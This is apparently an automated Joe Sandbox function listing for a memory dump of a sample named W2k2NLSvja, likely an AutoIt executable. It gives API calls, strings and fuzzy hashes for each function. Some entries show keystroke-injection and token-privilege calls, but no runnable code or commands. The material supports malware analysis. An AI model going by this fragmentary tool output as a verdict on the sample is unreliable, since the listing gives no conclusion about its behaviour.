Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 64c77d953146053c9ea21d7fb71bad8a409af9211e7fbece86ebb22dd49454c7
Instruction ID: 1f8a1fd3184ee511890eb5863733844ad4f22368a79cf014bfb845bbc4dd7d24
Opcode Fuzzy Hash: 64c77d953146053c9ea21d7fb71bad8a409af9211e7fbece86ebb22dd49454c7
Instruction Fuzzy Hash: 0A2144B4908342CFDB24EF24C844B5ABBE0FF84314F05896CE89A47761D775E845EB52

Function 00F85D20 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,00010000,?,00000000,00000000,?,00010000,?,00F85807,00000000,00010000,00000000,00000000,00000000,00000000), ref: 00F85D76

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: dfae98376fd2d9e002738f6419418862f4072a566ae4c81d289ea4251b622465
Instruction ID: 7846daa86e69b75c1c1db994aadb1023ffcbbc3a50c615ae12677d72031270b3
Opcode Fuzzy Hash: dfae98376fd2d9e002738f6419418862f4072a566ae4c81d289ea4251b622465
Instruction Fuzzy Hash: 01113D32604B019FD3319F15C844BA6B7E5EF45B60F10C91DE8AA86650D771F945DB60

Function 00F8C6DA Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 00F8C73D

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _wcscmp
String ID:
API String ID: 856254489-0
Opcode ID: a9116756285663f9eb4e6fb643dd2895c979c092ac8b1c53e4af206a19173447
Instruction ID: fc0ffdb610e6904b172e6f06573f8dd73d8be78007215958f86a8392c4fa4f04
Opcode Fuzzy Hash: a9116756285663f9eb4e6fb643dd2895c979c092ac8b1c53e4af206a19173447
Instruction Fuzzy Hash: 2A010472C082855FDB11AB258C616EDFFB4EF57320F15809AD890AB191D2348C46EF91

Function 00FA4A93 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00FA4AD6

Part of subcall function 00FA8D68: __getptd_noexit.LIBCMT ref: 00FA8D68

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: b1d19309049f81359a8546fb1214b02116825cf76375e6c2944af999e6792c5e
Instruction ID: 80afa48f168fa932b3afb3f3a9eb6fa7ba8d5632893d094c7cbc693412599cd4
Opcode Fuzzy Hash: b1d19309049f81359a8546fb1214b02116825cf76375e6c2944af999e6792c5e
Instruction Fuzzy Hash: 85F0A4B19402099BDF61AFA48C0639F3661AF82365F044518B424AA1D1CBFC9961FF55

Function 00F84FAA Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,010462F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00F84FDE

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 03d603d3df0ee4f639b79b69a854a26f098ec731aed8a8fe8d8d2cad5c145e47
Instruction ID: 461daf828b269fb728e9413a5d4dbc90f3c064799c54b2ae63857d0e95181d75
Opcode Fuzzy Hash: 03d603d3df0ee4f639b79b69a854a26f098ec731aed8a8fe8d8d2cad5c145e47
Instruction Fuzzy Hash: 96F03072505713CFCB34AF64E494992BBE1BF153293248A3EE2D683610C775A840EF40

Function 00FA09D5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00FA09F4

Part of subcall function 00F87D2C: _memmove.LIBCMT ref: 00F87D66

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: 54374a6a63b8872c15801d39066a8e32b204043cfc0af9f35c39d136d5fbdead
Instruction ID: 0ed3d15804e86fd0e1f3e37838e9c35fa6ed0821133eb3b250376c7bfed587bc
Opcode Fuzzy Hash: 54374a6a63b8872c15801d39066a8e32b204043cfc0af9f35c39d136d5fbdead
Instruction Fuzzy Hash: 05E0863690422857C721E6589C05FFA77ADDF88790F0441B5FC4CD7209D965AC819690

Function 00FE9129 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00FE914B

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 7603a7e23398706fbe611478ecf9e3358d47b441acc83f726054c373298f7434
Instruction ID: 9972761dc0a72d24c071eb43ff72cb8bf8cbfd15337e7e7e7f7ee5fec10bd68d
Opcode Fuzzy Hash: 7603a7e23398706fbe611478ecf9e3358d47b441acc83f726054c373298f7434
Instruction Fuzzy Hash: B0E092B0508B405FDB348A24D8107E373E0BB06315F00081CF29A83341EBA67841D759

Function 00F85DAE Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,00000000,00000000,?,00000001,?,?,?,00FBE16B,?,?,00000000), ref: 00F85DBF

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ca3e0c294b1dbcee10d1b1761b1af77b9c532dcbdbc0f94e315f707675f749c6
Instruction ID: a576d4e555d59e6746d056de040d6d1acf73edfae4c8418f333e68eef7abdbab
Opcode Fuzzy Hash: ca3e0c294b1dbcee10d1b1761b1af77b9c532dcbdbc0f94e315f707675f749c6
Instruction Fuzzy Hash: E3D0C77464020CBFE710DB80DC46FA9777CD705710F100194FD0456290D6B27D509795

Function 00FA548B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00FA5496

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: ebfbeaa45d6c53008cc8c6724e5fcb56196db5339e83fc68bcc3526924edbd8c
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: 97B092B684020C7BDE012E82EC02A593F199B45A78F808020FF0C18162A677A6A0A689

Function 00FED2E6 Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000), ref: 00FED46A

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 69204334f63b1302ba4ac858e9c1741db649ffc23099c0d9c308da53eeeb7e27
Instruction ID: dab34a4da0d5ba797cddd39aa8ca31bacd048fb208d141472c9821482e93002a
Opcode Fuzzy Hash: 69204334f63b1302ba4ac858e9c1741db649ffc23099c0d9c308da53eeeb7e27
Instruction Fuzzy Hash: 807195346083418FC714FF25C8D1AAEB7E0AF94714F18452DF8969B6A1DB38ED09EB52

Function 00FA0E48 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00FA0EF7

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: e611eff1314af85b4240898ce8d27586fcf18a8003839dd700fc32160564fffe
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 2131E5B1A00106DFCB18DF58E4C0A69F7A6FF5A310B648AA5E409DB651DB31EDC1EBD0

Function 00F5229C Relevance: 1.3, APIs: 1, Instructions: 21sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 00F522B1

Memory Dump Source

Source File: 00000000.00000002.2036404083.0000000000F50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_W2k2NLSvja.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
Instruction ID: 5f777c8e874bdc59fdd1d3645e0cda82911e4837e4a3b70b43b1cf8a82cfd9d0
Opcode Fuzzy Hash: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
Instruction Fuzzy Hash: 88E0BF7594010EEFDB00EFA8D5496DE7BB4EF04312F1006A1FD05E7680DB309E549A62

Function 00F522A0 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 00F522B1

Memory Dump Source

Source File: 00000000.00000002.2036404083.0000000000F50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_W2k2NLSvja.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: 27750e97668d80b6ad7619c521b2bb337fc586df55405d1d3c2b9e92120aa84a
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: 28E0E67594010EEFDB00EFB8D54969E7FB4EF04302F100261FD05E2280D6309D509A72

Non-executed Functions

Function 0100CDAC Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 637windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00F82612: GetWindowLongW.USER32(?,000000EB), ref: 00F82623

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0100CE50
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0100CE91
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 0100CED6
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0100CF00
SendMessageW.USER32 ref: 0100CF29
_wcsncpy.LIBCMT ref: 0100CFA1
GetKeyState.USER32(00000011), ref: 0100CFC2
GetKeyState.USER32(00000009), ref: 0100CFCF
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0100CFE5
GetKeyState.USER32(00000010), ref: 0100CFEF
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0100D018
SendMessageW.USER32 ref: 0100D03F
SendMessageW.USER32(?,00001030,?,0100B602), ref: 0100D145
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0100D15B
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 0100D16E
SetCapture.USER32(?), ref: 0100D177
ClientToScreen.USER32(?,?), ref: 0100D1DC
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 0100D1E9
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 0100D203
ReleaseCapture.USER32 ref: 0100D20E
GetCursorPos.USER32(?), ref: 0100D248
ScreenToClient.USER32(?,?), ref: 0100D255
SendMessageW.USER32(?,00001012,00000000,?), ref: 0100D2B1
SendMessageW.USER32 ref: 0100D2DF
SendMessageW.USER32(?,00001111,00000000,?), ref: 0100D31C
SendMessageW.USER32 ref: 0100D34B
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0100D36C
SendMessageW.USER32(?,0000110B,00000009,?), ref: 0100D37B
GetCursorPos.USER32(?), ref: 0100D39B
ScreenToClient.USER32(?,?), ref: 0100D3A8
GetParent.USER32(?), ref: 0100D3C8
SendMessageW.USER32(?,00001012,00000000,?), ref: 0100D431
SendMessageW.USER32 ref: 0100D462
ClientToScreen.USER32(?,?), ref: 0100D4C0
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 0100D4F0
SendMessageW.USER32(?,00001111,00000000,?), ref: 0100D51A
SendMessageW.USER32 ref: 0100D53D
ClientToScreen.USER32(?,?), ref: 0100D58F
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 0100D5C3

Part of subcall function 00F825DB: GetWindowLongW.USER32(?,000000EB), ref: 00F825EC

GetWindowLongW.USER32(?,000000F0), ref: 0100D65F

Strings

F, xrefs: 0100D543
@GUI_DRAGID, xrefs: 0100D1AA

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3977979337-4164748364
Opcode ID: 200ffe0f1d20ab7d4c21d3ab3bda539362a8b7fb187e5cfbd4cf0fca30027edd
Instruction ID: 469fc233466ac0c470cf787410d52d016b7f94514153e26adf2da5f91509a744
Opcode Fuzzy Hash: 200ffe0f1d20ab7d4c21d3ab3bda539362a8b7fb187e5cfbd4cf0fca30027edd
Instruction Fuzzy Hash: 5142BC74104341AFF726CF68C984AAABBE5FF49314F04069DF6D5872E1DB36A840DB92

Function 0100804A Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 571windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000400,00000000,00000000), ref: 0100873F

Strings

%d/%02d/%02d, xrefs: 01008478

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessageSend
String ID: %d/%02d/%02d
API String ID: 3850602802-328681919
Opcode ID: bc96691fe22e9801d53262c828c1577028bac7a7937d34742f7b95c127f02035
Instruction ID: 72dc04f3cffa804e69c9c0bf3350ec9e37cdcc82ca3754c19128af43c018c5d2
Opcode Fuzzy Hash: bc96691fe22e9801d53262c828c1577028bac7a7937d34742f7b95c127f02035
Instruction Fuzzy Hash: B112AC71900205ABFB768F28CC49FAE7BE8FB49350F10815AFA95EA2D5DB758941CB10

Function 00F9710E Relevance: 48.8, APIs: 19, Strings: 6, Instructions: 5093COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F975C2
_memset.LIBCMT ref: 00F976B1
_memmove.LIBCMT ref: 00F97C4B
_memmove.LIBCMT ref: 00F97E4F

Strings

Q\E, xrefs: 00F981C1
[:>:]], xrefs: 00F9760A
[:<:]], xrefs: 00F975F1
DEFINE, xrefs: 00FD25AF
\b(?=\w), xrefs: 00FD3C34
\b(?<=\w), xrefs: 00FD3C41

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _memmove$_memset
String ID: DEFINE$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)
API String ID: 1357608183-1798697756
Opcode ID: 1f66ea29d5ee1fbb9f13755ccce0111ef9c30ddc689500791cf73a14a61141e5
Instruction ID: aaa85599c164f69e089aceae5556f3f10c4bc23890ce7d3b3cae632ea245e6c1
Opcode Fuzzy Hash: 1f66ea29d5ee1fbb9f13755ccce0111ef9c30ddc689500791cf73a14a61141e5
Instruction Fuzzy Hash: 61938272E043159BDF24DF58C8817ADB7B2FF58320F29816AE955AB380E7709D81EB40

Function 00F84A35 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?), ref: 00F84A3D
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00FBDA8E
IsIconic.USER32(?), ref: 00FBDA97
ShowWindow.USER32(?,00000009), ref: 00FBDAA4
SetForegroundWindow.USER32(?), ref: 00FBDAAE
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00FBDAC4
GetCurrentThreadId.KERNEL32 ref: 00FBDACB
GetWindowThreadProcessId.USER32(?,00000000), ref: 00FBDAD7
AttachThreadInput.USER32(?,00000000,00000001), ref: 00FBDAE8
AttachThreadInput.USER32(?,00000000,00000001), ref: 00FBDAF0
AttachThreadInput.USER32(00000000,?,00000001), ref: 00FBDAF8
SetForegroundWindow.USER32(?), ref: 00FBDAFB
MapVirtualKeyW.USER32(00000012,00000000), ref: 00FBDB10
keybd_event.USER32(00000012,00000000), ref: 00FBDB1B
MapVirtualKeyW.USER32(00000012,00000000), ref: 00FBDB25
keybd_event.USER32(00000012,00000000), ref: 00FBDB2A
MapVirtualKeyW.USER32(00000012,00000000), ref: 00FBDB33
keybd_event.USER32(00000012,00000000), ref: 00FBDB38
MapVirtualKeyW.USER32(00000012,00000000), ref: 00FBDB42
keybd_event.USER32(00000012,00000000), ref: 00FBDB47
SetForegroundWindow.USER32(?), ref: 00FBDB4A
AttachThreadInput.USER32(?,?,00000000), ref: 00FBDB71

Strings

Shell_TrayWnd, xrefs: 00FBDA89

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 5a732c7ad9f721ca5cd1066f8af8b209ad12b7c452bb1448f4e06e3ced408d0b
Instruction ID: 4c30ec92ad373a8f038e2ff98850fe4171e2d97be53c1c6b28c5d2bb8a659a29
Opcode Fuzzy Hash: 5a732c7ad9f721ca5cd1066f8af8b209ad12b7c452bb1448f4e06e3ced408d0b
Instruction Fuzzy Hash: AD319371A40318BBEB316F629C49FBF7E6CEB44B61F114015FA04EA1C1DAB65900BFA1

Function 00FD8858 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00FD8CC3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00FD8D0D
Part of subcall function 00FD8CC3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00FD8D3A
Part of subcall function 00FD8CC3: GetLastError.KERNEL32 ref: 00FD8D47

_memset.LIBCMT ref: 00FD889B
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00FD88ED
CloseHandle.KERNEL32(?), ref: 00FD88FE
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00FD8915
GetProcessWindowStation.USER32 ref: 00FD892E
SetProcessWindowStation.USER32(00000000), ref: 00FD8938
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00FD8952

Part of subcall function 00FD8713: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00FD8851), ref: 00FD8728
Part of subcall function 00FD8713: CloseHandle.KERNEL32(?,?,00FD8851), ref: 00FD873A

Strings

default, xrefs: 00FD894D
, xrefs: 00FD88AA
winsta0, xrefs: 00FD8910

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
